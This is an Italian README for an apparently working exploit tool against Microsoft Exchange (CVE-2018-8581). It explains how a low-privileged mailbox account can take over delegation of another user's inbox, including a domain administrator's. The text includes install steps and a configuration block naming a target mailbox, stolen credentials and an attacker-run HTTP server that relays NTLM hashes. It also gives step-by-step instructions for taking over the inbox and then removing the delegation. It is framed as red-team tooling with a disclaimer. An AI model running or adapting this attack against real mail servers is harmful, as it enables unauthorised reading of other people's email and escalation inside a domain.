
CVE-2018-8581
Questa è una vulnerabilità di movimento laterale e privilege escalation a livello di cassetta postale.
Consente, dopo aver ottenuto le credenziali di un account di posta con privilegi normali, di assumere la delega della cassetta postale (inbox) di altri utenti, inclusi gli amministratori di dominio.
Questo script EXP è una versione potenziata "one-shot" derivata dal PoC originale: dopo aver configurato i parametri necessari, aggiunge e rimuove automaticamente la delega sulla inbox della cassetta postale target, in modo da consentire al reparto sicurezza del committente e al red team di simulare un attacco contro un'azienda autorizzata.
Il PoC originale richiede l'uso combinato di due script per aggiungere una regola di inoltro, il che lo rende poco pratico nel lavoro reale di un red team. Inoltre, oltre alle credenziali di posta, richiede di impostare il SID dell'utente della cassetta postale target; il metodo per ottenere il SID indicato nell'articolo, nei miei test su Exchange Server 2010 e 2013, non è però mai riuscito a essere replicato (su 2010 non esiste l'opzione corrispondente, su 2013 viene segnalata mancanza di autorizzazione). Alla fine ho risolto eseguendo prima una delega inversa per ottenere il SID dell'utente target e rimuovendo poi la delega.
Installare python-ntlm
pip install python-ntlm
Configurare i parametri necessari nel codice seguente
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Eseguire lo script, poi bere un sorso di tè al goji e attendere un minuto
![]()
A questo punto la inbox di TARGET_EMAIL è stata delegata con successo a CONTROLLED_EMAIL
Visualizzare la inbox della cassetta postale target in OWA o Outlook
Impostare FLAG a 0, eseguire di nuovo lo script, bere ancora un sorso di tè al goji e attendere un altro minuto: la delega aggiunta in precedenza verrà rimossa
Non si ha più accesso alla cassetta
Python 2.7.14
Exchange Server 2010 SP2
Exchange Server 2013
È possibile modificare ulteriori richieste EWS SOAP API all'interno della funzione make_relay_body()
Lo script è fornito solo per scopi di studio e scambio di conoscenze. L'utente è tenuto a rispettare le leggi locali vigenti; l'autore declina ogni responsabilità legale per qualsiasi uso diverso. Il download e l'uso implicano l'accettazione di quanto sopra.